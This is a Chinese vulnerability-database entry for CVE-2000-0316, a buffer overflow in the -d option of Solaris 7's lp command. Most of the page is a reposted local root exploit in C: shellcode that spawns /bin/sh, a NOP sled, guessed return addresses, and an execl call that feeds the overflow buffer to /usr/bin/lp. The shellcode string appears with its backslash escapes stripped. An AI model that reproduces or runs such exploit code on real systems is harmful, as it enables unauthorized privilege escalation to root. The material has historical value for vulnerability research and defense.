Solaris lp -d 选项缓冲区溢出漏洞

Solaris lp -d 选项缓冲区溢出漏洞

漏洞ID 1105799 漏洞类型 缓冲区溢出
发布时间 2000-04-24 更新时间 2005-05-02
图片[1]-Solaris lp -d 选项缓冲区溢出漏洞-安全小百科CVE编号 CVE-2000-0316
图片[2]-Solaris lp -d 选项缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200004-070
漏洞平台 Solaris CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/19878
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200004-070
|漏洞详情
Solaris7lp存在缓冲区溢出漏洞,本地用户可以通过超长-d选项获取根用户权限。
|漏洞EXP
source: http://www.securityfocus.com/bid/1143/info

A buffer overrun has been discovered in the lp program, as included with Sun's Solaris 7 operating system. By passing well crafted, machine executable code of sufficient length to the -d option of lp, it becomes possible to execute arbitrary code as root.

/*      
 *      
 * solaris 2.7 /usr/bin/lp local exploit, i386.
 *
 * discovered by DiGiT.
 * try offset 150-250 if sploit fails
 *
 * greets: #!ADM, #!security.is, #hax, duke
 *
 * DiGiT - [email protected] 
 *
 */

#include <stdio.h>
#include <stdlib.h> 


char shellcode[] =
 "xebx48x9axffxffxffxffx07xffxc3x5ex31xc0x89x46xb4"
 "x88x46xb9x88x46x07x89x46x0cx31xc0x50xb0x8dxe8xdf"
 "xffxffxffx83xc4x04x31xc0x50xb0x17xe8xd2xffxffxff"
 "x83xc4x04x31xc0x50x8dx5ex08x53x8dx1ex89x5ex08x53"
 "xb0x3bxe8xbbxffxffxffx83xc4x0cxe8xbbxffxffxffx2f"
 "x62x69x6ex2fx73x68xffxffxffxffxffxffxffxffxff";
  
#define BUFSIZE  1100  
 
long get_esp() { __asm__("movl %esp,%eax"); }
 
int main(int argc, char *argv[]) {
 
  char buff[BUFSIZE];
  int nopcount=501, offset=260;
  int i;

  if (argc > 1) offset = atoi(argv[1]);
  if (argc > 2) nopcount  = atoi(argv[2]);

        memset (buff, 0x90, BUFSIZE);
 
                for (i = nopcount; i < BUFSIZE - 4; i += 4)
                *(long *) &buff[i] = get_esp() + offset;
        memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen
        (shellcode));
 
            memcpy (buff, ":", 1);
            printf("Addr = 0x%xn", get_esp() + offset);
         execl("/usr/bin/lp", "lp", "-d", buff, "-p", "/tmp/ps_data",NULL);
}
|参考资料

来源:BID
名称:1143
链接:http://www.securityfocus.com/bid/1143
来源:BUGTRAQ
名称:20000424Solaris7x86lpexploit
链接:http://archives.neohapsis.com/archives/bugtraq/2000-04/0191.html

相关推荐: Mozilla Browser Proxy Server Authentication Credential Disclosure Vulnerability

Mozilla Browser Proxy Server Authentication Credential Disclosure Vulnerability 漏洞ID 1099637 漏洞类型 Origin Validation Error 发布时间 200…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享